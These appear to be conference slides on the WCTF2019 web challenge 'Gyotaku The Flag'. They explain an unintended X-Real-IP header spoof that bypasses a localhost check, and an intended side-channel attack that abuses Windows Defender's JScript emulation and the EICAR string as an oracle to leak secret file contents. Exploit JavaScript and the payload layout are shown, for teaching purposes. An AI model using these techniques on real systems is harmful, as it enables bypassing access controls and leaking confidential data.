

# WCTF2019: Gyotaku The Flag



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# Some thoughts about challenge designing

- The best strategy for WCTF: make a super difficult challenge
  - how?
- Multiple step (I did so far btw)
  - 2017: 7dcs (PPC, Crypto, Web, Reverse, Pwn) → 0 solved
  - 2018: f (Forensics, Reverse, Web) → 1 solved
- This year: "create **simple but difficult, not typical** challenge"
  - less implementation with source code
  - with new techniques


# About the challenge

- Simple web archive service
- "Gyotaku (魚拓)" (Japanese) : an ink rubbing of a fish
  - like making a stamp of a web page at specific time
- You can query a URL to be archived by a crawler
  - only local user (127.0.0.1) should be able to see the archive



# Gyotaku - login

- POST /login
  - username
  - password
- no login page implemented



# Gyotaku - take gyotaku


- POST /gyotaku
  - url
- saved as binary object (gob)

```
// save gyotaku
gyotakudata := &GyotakuData{
    URL:      url,
    Data:     string(body),
    Username: username,
}

buf := bytes.NewBuffer(nil)
err = gob.NewEncoder(buf).Encode(gyotakudata)
if err != nil {
    return err
}
err = ioutil.WriteFile(path.Join(GyotakuDir, gid), buf.Bytes(), 0644)
```

# Gyotaku - gyotaku list

- GET /gyotaku
  - captured gyotaku id appears

 localhost/gyotaku



localhost/gyotaku

```
["ad5daf45217a6daa5e2beaf25ed441f4c47acc748f30baf8374e7b5659d444e4"]
```

# Gyotaku - gyotaku viewer

- GET /gyotaku/:gyotaku\_id

localhost/gyotaku/ad5daf45217a6daa5e2beaf25ed441f4c47acc748f30baf8374e7b5659d444e4


localhost/gyotaku/ad5daf45217a6daa5e2beaf25ed441f4c47acc748f30baf8374e7b5659d444e4

"sorry but I couldn't make it by the submission deadline :P"

- unimplemented

# Gyotaku - flag viewer

- GET /flag
  - localhost only
  - you can gyotaku flag page (but no viewer implemented)



- how to read flag without viewer?



# Gyotaku - flag viewer

- /flag is protected with InternalRequiredMiddleware

```
e.GET("/flag", FlagHandler, InternalRequiredMiddleware)
```

```
func FlagHandler(c echo.Context) error {  
    data, err := ioutil.ReadFile("flag")  
    if err != nil {  
        return err  
    }  
    return c.String(http.StatusOK, string(data))  
}
```

# Gyotaku - flag viewer

- `InternalRequiredMiddleware` checks the remote IP is localhost or not

```
func InternalRequiredMiddleware(next echo.HandlerFunc) echo.HandlerFunc {  
    return func(c echo.Context) error {  
        ip := net.ParseIP(c.RealIP())  
        localip := net.ParseIP("127.0.0.1")  
        if !ip.Equal(localip) {  
            return echo.NewHTTPError(http.StatusForbidden)  
        }  
        return next(c)  
    }  
}
```

# Solution

- `echo.Context.RealIP` is poisoned by "X-Real-IP"
  - `X-Real-IP: 127.0.0.1`
- That's it
- This is sanity check

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- This is totally **unintended solution**
  - sorry for verification lacking :(
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# Solution

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- 2019: Gyotaku The Flag (Web, Misc) → **everyone solved**

# What is intended solution?

- no need to access /flag
  - you could not access if it worked :(
- can you get flag without special HTTP header?
  - we did it!
  - I'd like to share this **brand new technique**

**Any designed vulnerability?**  
(except for bypassing firewall!)

# Vulnerability?

- There is no XSS
- There is no SQL
- There is no command execution
- There is no SSRF
- There is no buffer overflow
- There is no LFI
- There is no HTML
- There is no ... implementation
- 🤔



**No implementation, no bugs**

# What else?

- Obviously it is running on Windows
  - nmap the server
  - ... or see the scoreboard
- with default settings
  - even security features are enabled by default
  - **Windows Defender** is enabled as well

# What Windows Defender will do?

- As we investigated:
  1. check the content of the file whether malicious data included
  2. change permission to prevent user from accessing
  3. replace malicious part with null bytes
  4. (delete entire file)
- In step 2:
  - the file obtained by SYSTEM
  - **user cannot open the file**

# How to abuse it?

- Do you remember "filemanager" challenge in 35c3ctf?
  - abusing XSS auditor in Chrome is super cool idea
- Basic idea
  - [part of XSS payload] + [part of secret] → detected by auditor
  - auditor worked? → this is an **oracle!**
- Why you don't use the method in Windows Defender?
  - [part of malicious data] + [part of secret] → blocked!

# Let's make Windows Defender angry

- Where is malicious-ish payload?
  - EICAR signature for testing is enough!

```
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-AN  
TIVIRUS-TEST-FILE!$H+H*
```

# About mpengine.dll

- Windows Defender Core DLL
- previous research about mpengine.dll
  - Windows Offender: Reverse Engineering Windows Defender's Antivirus Emulator
    - by Alexei Bulazel at BHUSA 2018
  - emulated Windows loadlibrary on Linux ([github.com/taviso/loadlibrary](https://github.com/taviso/loadlibrary))
    - by Tavis Ormandy
- There are some analyzers for **various contents**
  - base64 encoded
  - RAR archived
  - etc.

# JScript engine in mpengine.dll

- Basic features is implemented
  - string, index access
  - mathematical operators
  - object
  - etc.
- **eval** can be used
  - `eval("EICA"+"R")` → detected
  - argument of `eval` will be audited
- the idea: `eval("EICA"+input)` → ?
  - detected → input is "R"
  - not detected → input is not "R"

# Some issues in JScript engine

- if statement will never be evaluated
  - `if (true) {eval("EICA" + "R")}` → not detected
  - **object accessing** will help you: `{0: "a", 1: "b", ...}[input]`
- parser stops on null byte
  - `eval("EICA" + "[NULL]")` → *syntax error*
  - I'll explain in next slide



# Another feature in mpengine.dll

- They can analyze **HTML document**
  - some html tags would be a trigger (ex. <script>)
  - parser will not stop on null byte
- JavaScript can access the **elements** :)
  - if they have <body> tag
  - `<script>document.body.innerHTML[0]</script><body>[secret]</body>`
- Now you have an oracle!

# Think of Gyotaku format

- Standard struct encoded as gob
  - URL, Data, UserName appears as declared
- ... [URL] ... [Data] ... [UserName] ...
  - URL and UserName: **controllable**
  - Data: secret to be leaked

```
type GyotakuData struct {  
    URL      string `json:"url"`  
    Data     string `json:"data"`  
    UserName string `json:"username"`  
}
```

# Building exploit

- JavaScript
  - `$idx` and `$c` would be iterated

```
var body = document.body.innerHTML;
var mal = "EICA";
var n = body[$idx].charCodeAt(0);
mal = mal + String.fromCharCode(n^$c);
eval(mal);
```

- Windows Defender get angry if `$c` is appropriate
- It requires **256 times** try for each `$idx` :(

# Building exploit

- much more faster!
  - Math.min is also available, do **binary search**

```
var body = document.body.innerHTML;
var mal = "EICA";
var n = body[$idx].charCodeAt(0);
mal = mal + {$c: 'k'}[Math.min($c, n)];
eval(mal);
```

- **\$c** < [input]: detected
- **\$c** > [input]: not detected
  - then do binary search!

# Building exploit

- Now everything is ready :)
  - URL: `http://127.0.0.1/flag?<script>...</script><body>`
  - Data: `[flag]`
  - UserName: `</body>`

```
...http://127.0.0.1/flag?<script>[script]</script><body>...[flag]...</body>...
```

- to get **oracle**: accessing `/gyotaku/:gyotaku_id` after querying the gyotaku
  - detected → Internal Server Error
  - not detected → you can see the response

Demo

# Conclusion

- I presented new Windows side channel attack
  - **content auditor** can be an oracle - even Windows Defender!
- It's easy to make Windows Defender angry
  - this can be new type of attacks :)
- Windows Defender will do too much things than we expected
  - Microsoft should disable JavaScript engine? :)
- We should be **more careful** about challenge verification
  - or you'll give 240 pts to every team

# Any questions?

<https://github.com/icchy/wctf2019-gtf>



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